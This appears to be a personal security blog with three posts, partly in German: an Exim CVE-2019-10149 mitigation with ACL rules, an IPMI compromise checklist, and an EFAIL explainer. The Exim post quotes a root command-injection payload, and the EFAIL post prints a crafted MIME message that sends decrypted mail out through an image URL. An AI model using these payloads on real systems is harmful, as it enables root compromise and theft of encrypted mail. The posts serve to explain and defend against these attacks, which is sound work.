Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./


.

acl_check_mail:




drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉

Supermicro IPMI mit Remote-Exploit < FW 3.8

WARNUNG: Wer einen SuperMicro Server betreibt und noch die IPMI Firmware < 3.80 betreibt und extern erreichbare IPs benutzt, wird bald unerwĂŒnschten Besuch erhalten!

CVE-2019-6260

In der 3.65 Version der Firmware ist eine Schwachstelle enthalten, ĂŒber die Hacker Zugriff auf das System bekommen können. Ein sofortiges Update ist angeraten, aber vorher prĂŒfen, ob Ihr nicht schon infiziert seid, weil sonst Beweise vernichtet werden.

Workaround: die IP auf eine lokale IP umstellen

$ ipmitool lan set 1 ipaddr 192.168.1.2
$ ipmitool lan set 1 ipsrc static

Static, damit sich das nicht per DHCP Update wieder umstellt! DHCP als DEFAULT fĂŒr eine IPMI !!! unglaublich!

Wie kommt man darauf? Wenn man einen Anruf bekommt, daß das Cluster XZY plötzlich so langsam reagiert und ein XenServer Mensch da mal nachsehen soll. Warum war es langsam, weil da jemand BitCoin gemint hat, mit allen 52 Kernen 😀

FĂŒr den Fall, daß Euch das auch passiert, hier eine Checkliste:

CHECKLISTE

  1. last -ai
    Wenn im last-Output „tty“ als Konsole auftaucht, ohne IP, dann ist es die IPMI.
  2. /etc/passwdDie mĂŒĂŸt Ihr auf einen weiteren Rootuser hin checken, also 0:0 als UID:GID. Wenn da, dann auch in der /etc/shadow löschen
  3. crontab -lPrĂŒfen ob der Miner per Cron neugestartet wird.
  4. CronjobsPrĂŒfen ob die Cronjobs unter /etc/cron* manipuliert oder welche hinzugefĂŒgt wurden.
  5. Verbindungen checkenmit „netstat -lnap| grep LISTEN“ prĂŒfen ob da Dienste laufen, die da nicht hingehören.
    mit „netstat -lnap| grep VERBUNDEN“ prĂŒfen, ob da grade aktiv was ausgeleitet wird.
  6. System ĂŒberprĂŒfen, z.b. „yum reinstall *“ um unverĂ€nderte Software zu bekommen, aber Vorsicht, daß kann auf einem Produktionssystem auch in die Hose gehen. Vielleicht weniger invasiv mal nach kĂŒrzlich geĂ€nderten Dateien suchen:find / -ctime -30
    find / -mtime -30

Im Beispiel sind es 30 Tage. Wenn man dann „verdĂ€chtige“ Files hat, kann man z.b. rpm -qf filename benutzen und sieht, ob die ĂŒber das System kamen oder von Hand sind.

Kleines Update: „rpm -qa | awk ‚{print „rpm -V „$1;}‘ | bash“ sehr nĂŒtzlich beim prĂŒfen von korrekten Files.

WICHTIG: ERST MIT TAR ARCHIVIEREN, DANN LÖSCHEN! Gilt auch fĂŒr Logfiles.

Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6260

EFail: Die Katze ist aus dem Sack

Die Katze ist aus dem Sack, das Whitepaper zur EFAIL Schwachstelle ist bekannt. Als Entwickler auch von komplexen Programmen zum Parsen von (auch abgedrehten) Formaten, kann ich Euch sagen, daß es genug Scheisse da draußen gibt, die man fehlertolerant behandeln kann, aber die EFAIL Schwachstelle ist genau das : EIN MEGAFAIL!

Selbstgemachtes GPG Schwachstellen Logo 🙂

EFail – Der MEGAFAIL

Der Exploit basiert darauf, daß man eine verschlĂŒsselte Email an den EmpfĂ€nger A abgefangen hat, diese aber nicht dekodieren kann. Das bleibt auch nach der LĂŒcke so! Also PGP/GPG sind an sich fein raus, die haben gar keine Schuld an der Sache.

Nun bettet man den verschlĂŒsselten Block der Mail in eine Multipart-Mime Message, die aus zwei HTML und einem Cipherblock (dem verschlĂŒsselten Mailteil) besteht. Das könnte so aussehen:

From: <unverdÀchtig@kenneich.de>
To: <opfer@opfer.de>
Content-Type: multipart/mixed;boundary="GRENZE"

--GRENZE
Content-Type: text/html;charset=ascii

<html><body><img src="https://efail.de/
--GRENZE
Content-Type: application/pkcs7-mine;smine-type=enveloped-data
Content-Transfer-Encoding: base64

hQIMA+PS/5obaKVzARAAuG0PvUFHEzRp+U9HAm1GgjnUwy6afP60q0QYl9vWby5h
ysIVpoXrHZqn3H8f/+FjsoZ2YpDlCqhvKzn/UaP8kxb21YN1+eSaMi55b6WFyIif
hbxnp2Z155YM6Sx+VrTa55DQEF2c7LzyFKcE1csRiB0py+bWJKFPERRhXxSVOMpv
sZB3oLcZmBS990RgjbGUUZhXClxubwwqXo3K41Wj8kktQvZ7YD6hMz46V26kN4Ru
PLt1PQ/+P0iznlNjXaIckLXUq/RNpRMC5469Dp674OECZ2kc3fFrv5zkZcs0Kg5r
...
--GRENZE
Content-Type: text/html;charset=ascii

"></body></html>
--GRENZE--

Was jetzt passiert ist, daß der Mimeparser des Emailprogramms, den verschlĂŒsselten Block vom PGP Plugin dekodieren lĂ€ĂŸt und nahtlos in das umgebende HTML einfĂŒgt. Es kommt dann eine URL raus wie => „https://efail.de/TEXT+DER+NACHRICHT+AN+DEN+EMPFÄNGER“, welche als Bild in dem HTML eingebettet ist, was die meisten Mailprogramme dazu bringt, diese sofort zu rendern. Also schickt der Client damit eine Bildanfrage und ĂŒbertrĂ€gt so die dekodierte Nachricht.

Voraussetzungen

1. Man braucht eine verschlĂŒsselte Email an den EmpfĂ€nger
2. Man braucht einen Webserver, der mehr als 512 Zeichen in der URL annimmt ( selbstschreiben vermutlich)
3. Man braucht ein Emailprogramm beim Opfer, dessen Parser von einem Irren geschrieben wurde
UND 4. das ungefragt Bilder von externen unbekannten Webseiten nachlÀdt.

1+2 kann der Angreifer liefern, 3+4 muß das Opfer beisteuern.

Der Pressetenor

Der allgemeine Pressetenor war heute, daß die Plugins einen Bug haben. Wenn aber obiges so zutrifft, dann haben die Plugins keinen BUG, sie sind nur zwingend notwendig, daß der Angriff automatisch ablaufen kann. Schaltet man die aus, lĂ€uft der Angriff ins Leere.

Was in einigen Webseiten aber abgeleitet wurde war, daß die VerschlĂŒsselung geknackt wurde und das trotz monatelanger Vorwarnung, die Emailprogramme keinen Schutz dagegen gefunden haben.

Das aber ist LÄCHERLICH.

Hier wird wiedermal eine Sau durchs Dorf getrieben, die es nicht verdient hat. Ja, das Ganze ist ein Bug. Ja, der ist in der Wirkung echt schlimm. Nein, die VerschlĂŒsselung wurde nicht geknackt, die wurde nur vom Emailprogramm automatisch aufgehoben und exfiltriert und genau da liegt der Hund begraben. Wie kann man nur einen Parser bauen, der die drei Teile einer Email, die als DREI Teile in der Email vorliegen, zu einem Teil zusammen fassen? Das ist die Frage.

Die, die den Parser geschrieben haben, der die drei Teile verbindet, die sollten ihre StudiengebĂŒhren zurĂŒck bekommen, sofern sie welche gezahlt haben!

Schlimmer ist nur noch, daß mindestens drei unterschiedliche Teams den gleichen Fehler gemacht haben.

Updates

Thunderbird wird erst mit einer Version 52.8 nicht mehr verwundbar sein. Ich nehme mal an, die Version kommt jetzt etwas zĂŒgiger raus, als geplant.